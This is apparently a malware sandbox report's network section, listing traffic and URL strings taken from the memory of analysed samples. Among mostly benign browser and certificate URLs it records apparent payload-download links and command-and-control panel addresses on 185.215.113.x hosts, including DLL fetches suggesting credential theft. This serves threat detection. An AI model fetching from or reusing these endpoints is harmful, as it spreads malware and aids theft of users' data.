Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log6.8.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log6.8.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log6.8.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: 15.164.165.52.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: browser.events.data.msn.com
Source: global traffic	DNS traffic detected: DNS query: r.msftstatic.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 912sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: file.exe, 00000000.00000002.2546281725.000000000063B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2571406052.00000000232A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe78
Source: file.exe, 00000000.00000002.2571406052.00000000232A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeQ
Source: skotes.exe, 00000017.00000002.3293696158.0000000000B28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe
Source: skotes.exe, 00000017.00000002.3293696158.0000000000B28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe0
Source: skotes.exe, 00000017.00000002.3293696158.0000000000AFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 00000017.00000002.3293696158.0000000000AFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe1395d7f
Source: skotes.exe, 00000017.00000002.3293696158.0000000000AFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeW
Source: 6fc7e371fe.exe, 0000001B.00000002.2992599240.000000000167B000.00000004.00000020.00020000.00000000.sdmp, 6fc7e371fe.exe, 0000001D.00000002.3071062804.00000000016DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 6fc7e371fe.exe, 0000001D.00000002.3071062804.000000000172E000.00000004.00000020.00020000.00000000.sdmp, 6fc7e371fe.exe, 0000001D.00000002.3071062804.00000000016DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2546281725.000000000061F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0?P
Source: file.exe, 00000000.00000002.2546281725.000000000061F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2546281725.000000000061F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll38
Source: file.exe, 00000000.00000002.2546281725.000000000061F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2546281725.000000000061F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dllE8
Source: file.exe, 00000000.00000002.2546281725.000000000061F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2546281725.000000000061F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dllJ6%
Source: file.exe, 00000000.00000002.2546281725.000000000061F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2546281725.000000000061F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllW8
Source: file.exe, 00000000.00000002.2546281725.000000000061F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2546281725.000000000061F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllK8
Source: file.exe, 00000000.00000002.2546281725.000000000061F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dlle7
Source: file.exe, 00000000.00000002.2546281725.000000000063B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2546281725.000000000063B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllRS
Source: 6fc7e371fe.exe, 0000001B.00000002.2992599240.00000000016CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/8
Source: 6fc7e371fe.exe, 00000018.00000002.2849080030.0000000000A7D000.00000004.00000020.00020000.00000000.sdmp, 6fc7e371fe.exe, 00000018.00000002.2849080030.0000000000AB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/D
Source: file.exe, 00000000.00000002.2546281725.00000000005AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2571406052.00000000232A2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2571406052.00000000232B2000.00000004.00000020.00020000.00000000.sdmp, 6fc7e371fe.exe, 00000018.00000002.2849080030.0000000000AB9000.00000004.00000020.00020000.00000000.sdmp, 6fc7e371fe.exe, 0000001B.00000002.2992599240.000000000167B000.00000004.00000020.00020000.00000000.sdmp, 6fc7e371fe.exe, 0000001B.00000002.2992599240.00000000016CE000.00000004.00000020.00020000.00000000.sdmp, 6fc7e371fe.exe, 0000001D.00000002.3071062804.000000000172E000.00000004.00000020.00020000.00000000.sdmp, 6fc7e371fe.exe, 0000001D.00000002.3071062804.000000000171B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 6fc7e371fe.exe, 00000018.00000002.2849080030.0000000000AB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php%
Source: 6fc7e371fe.exe, 0000001B.00000002.2992599240.00000000016CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php.
Source: 6fc7e371fe.exe, 0000001D.00000002.3071062804.000000000172E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php.h
Source: 6fc7e371fe.exe, 00000018.00000002.2849080030.0000000000AB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/$
Source: 6fc7e371fe.exe, 0000001D.00000002.3071062804.000000000172E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/Yk
Source: 6fc7e371fe.exe, 00000018.00000002.2849080030.0000000000AB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/l
Source: 6fc7e371fe.exe, 0000001B.00000002.2992599240.00000000016CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/s
Source: file.exe, 00000000.00000002.2546281725.0000000000606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php003
Source: 6fc7e371fe.exe, 00000018.00000002.2849080030.0000000000AB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php1
Source: 6fc7e371fe.exe, 0000001B.00000002.2992599240.000000000167B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php8
Source: 6fc7e371fe.exe, 0000001B.00000002.2992599240.00000000016CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php:
Source: 6fc7e371fe.exe, 0000001D.00000002.3071062804.000000000172E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php:k
Source: 6fc7e371fe.exe, 0000001D.00000002.3071062804.000000000172E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpFh
Source: 6fc7e371fe.exe, 00000018.00000002.2849080030.0000000000AB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpP
Source: 6fc7e371fe.exe, 0000001B.00000002.2992599240.00000000016CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpV
Source: 6fc7e371fe.exe, 0000001D.00000002.3071062804.000000000172E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpWk
Source: 6fc7e371fe.exe, 00000018.00000002.2849080030.0000000000AB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpY
Source: file.exe, 00000000.00000002.2547238777.0000000000E97000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: 6fc7e371fe.exe, 0000001B.00000002.2992599240.00000000016CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpb
Source: 6fc7e371fe.exe, 0000001D.00000002.3071062804.000000000172E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpbh
Source: 6fc7e371fe.exe, 00000018.00000002.2849080030.0000000000A5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpows
Source: 6fc7e371fe.exe, 0000001B.00000002.2992599240.000000000167B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpp
Source: 6fc7e371fe.exe, 0000001B.00000002.2992599240.00000000016CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpp#Xl
Source: file.exe, 00000000.00000002.2546281725.00000000005AE000.00000004.00000020.00020000.00000000.sdmp, 6fc7e371fe.exe, 00000018.00000002.2849080030.0000000000AB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpq
Source: 6fc7e371fe.exe, 0000001D.00000002.3071062804.000000000172E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpvh
Source: 6fc7e371fe.exe, 0000001B.00000002.2992599240.00000000016B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpx
Source: file.exe, 00000000.00000002.2571406052.00000000232B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpy
Source: 6fc7e371fe.exe, 00000018.00000002.2849080030.0000000000AB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ockedCacheCounterMutex
Source: 6fc7e371fe.exe, 00000018.00000002.2849080030.0000000000AB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/sonation
Source: 6fc7e371fe.exe, 0000001B.00000002.2992599240.000000000167B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/u
Source: 6fc7e371fe.exe, 0000001D.00000002.3071062804.000000000172E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/urrentVersion
Source: 6fc7e371fe.exe, 0000001D.00000002.3071062804.00000000016DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206C
Source: file.exe, 00000000.00000002.2546281725.00000000005AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206T
Source: 6fc7e371fe.exe, 00000018.00000002.2849080030.0000000000A5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206UC
Source: skotes.exe, 00000017.00000002.3293696158.0000000000B28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/
Source: skotes.exe, 00000017.00000002.3293696158.0000000000B28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/ViewSizePreferences.SourceAumid1
Source: skotes.exe, 00000017.00000002.3293696158.0000000000B55000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000017.00000002.3293696158.0000000000AFE000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000017.00000002.3293696158.0000000000AAB000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000017.00000002.3293696158.0000000000B18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000017.00000002.3293696158.0000000000B55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php.
Source: skotes.exe, 00000017.00000002.3293696158.0000000000B18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php7001
Source: skotes.exe, 00000017.00000002.3293696158.0000000000B28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpM
Source: skotes.exe, 00000017.00000002.3293696158.0000000000B55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpV
Source: skotes.exe, 00000017.00000002.3293696158.0000000000B28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpW
Source: skotes.exe, 00000017.00000002.3293696158.0000000000B55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpcoded;
Source: skotes.exe, 00000017.00000002.3293696158.0000000000AAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phph
Source: skotes.exe, 00000017.00000002.3293696158.0000000000B55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpk
Source: skotes.exe, 00000017.00000002.3293696158.0000000000B55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded
Source: skotes.exe, 00000017.00000002.3293696158.0000000000B55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncodedh
Source: skotes.exe, 00000017.00000002.3293696158.0000000000B28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpq
Source: skotes.exe, 00000017.00000002.3293696158.0000000000B28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/lfons
Source: skotes.exe, 00000017.00000002.3293696158.0000000000B28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/ows
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_474.4.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2580964214.000000006C6BD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2580653028.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2567638542.000000001D144000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: FCFBAKJD.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_476.4.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_476.4.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: Reporting and NEL.9.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingcsp
Source: chromecache_474.4.dr, chromecache_476.4.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2571406052.00000000232A2000.00000004.00000020.00020000.00000000.sdmp, JKEGHDGHCGHDHJKFBFBK.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2571406052.00000000232A2000.00000004.00000020.00020000.00000000.sdmp, JKEGHDGHCGHDHJKFBFBK.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.9.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://c.msn.com/
Source: FCFBAKJD.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.2546281725.000000000063B000.00000004.00000020.00020000.00000000.sdmp, KKEHIEBK.0.dr, FCFBAKJD.0.dr, Web Data.8.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2546281725.000000000063B000.00000004.00000020.00020000.00000000.sdmp, KKEHIEBK.0.dr, FCFBAKJD.0.dr, Web Data.8.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 4bb3cbda-4223-42eb-9166-e2269eaddeda.tmp.9.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json.8.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 4bb3cbda-4223-42eb-9166-e2269eaddeda.tmp.9.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: chromecache_476.4.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_476.4.dr	String found in binary or memory: https://content.googleapis.com
Source: file.exe, 00000000.00000002.2571406052.00000000232A2000.00000004.00000020.00020000.00000000.sdmp, JKEGHDGHCGHDHJKFBFBK.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2571406052.00000000232A2000.00000004.00000020.00020000.00000000.sdmp, JKEGHDGHCGHDHJKFBFBK.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: Reporting and NEL.9.dr	String found in binary or memory: https://deff.nelreports.net/api/report
Source: 2cc80dabc69f58b6_0.8.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: Reporting and NEL.9.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msnw
Source: manifest.json.8.dr	String found in binary or memory: https://docs.google.com/
Source: chromecache_476.4.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: manifest.json.8.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json.8.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json.8.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json.8.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json.8.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json.8.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json.8.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json.8.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json.8.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json.8.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json.8.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000002.2546281725.000000000063B000.00000004.00000020.00020000.00000000.sdmp, KKEHIEBK.0.dr, FCFBAKJD.0.dr, Web Data.8.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: KKEHIEBK.0.dr, FCFBAKJD.0.dr, Web Data.8.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000002.2546281725.000000000063B000.00000004.00000020.00020000.00000000.sdmp, KKEHIEBK.0.dr, FCFBAKJD.0.dr, Web Data.8.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000003.log6.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log6.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
